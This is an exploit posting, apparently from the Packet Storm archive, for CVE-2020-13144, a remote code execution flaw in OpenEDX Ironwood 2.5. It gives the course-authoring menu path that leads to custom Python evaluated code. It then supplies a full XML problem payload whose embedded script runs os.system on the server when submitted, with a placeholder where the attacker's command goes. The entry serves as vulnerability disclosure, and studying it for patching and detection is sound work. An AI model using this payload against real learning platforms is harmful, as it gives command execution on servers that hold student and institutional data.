Exploit for OpenEDX Ironwood 2.5 Remote Code Execution CVE-2020-13144

## https://sploitus.com/exploit?id=PACKETSTORM:157785
# Exploit Title: OpenEDX platform Ironwood 2.5 - Remote Code Execution  
# Google Dork: N/A  
# Date: 2020-05-20  
# Exploit Author: Daniel Monzón (stark0de)  
# Vendor Homepage: https://open.edx.org/  
# Software Link: https://github.com/edx/edx-platform  
# Version: Ironwood 2.5  
# Tested on: Debian x64  
# CVE : CVE-2020-13144  
  
CVE ID: CVE-2020-13144  
  
OpenEDX Platform Ironwood version 2.5 suffers from a RCE vulnerability when the use of CodeJail (https://github.com/edx/codejail) is not enforced  
  
This is an authenticated vulnerability, so you need to register an account, go to /edx-studio  
  
Then Create New course > New section > New subsection > New unit > Add new component > Problem button > Advanced tab > Custom Python evaluated code  
  
Once here we just need to edit the problem and introduce a payload such as:  
  
<problem>  
  
<script type="python">  
def test_add(expect,ans):  
import os  
os.system("thecommandyouwanttoexecute")  
  
</script>  
  
<p>Problem text</p>  
<customresponse cfn="test_add" expect="20">  
<textline size="10" correct_answer="11" label="Integer #1"/><br/>  
<textline size="10" correct_answer="9" label="Integer #2"/>  
</customresponse>  
  
<solution>  
<div class="detailed-solution">  
<p>Solution or Explanation Heading</p>  
<p>Solution or explanation text</p>  
</div>  
</solution>  
</problem>  
  
And click Submit, and you will execute commands in the machine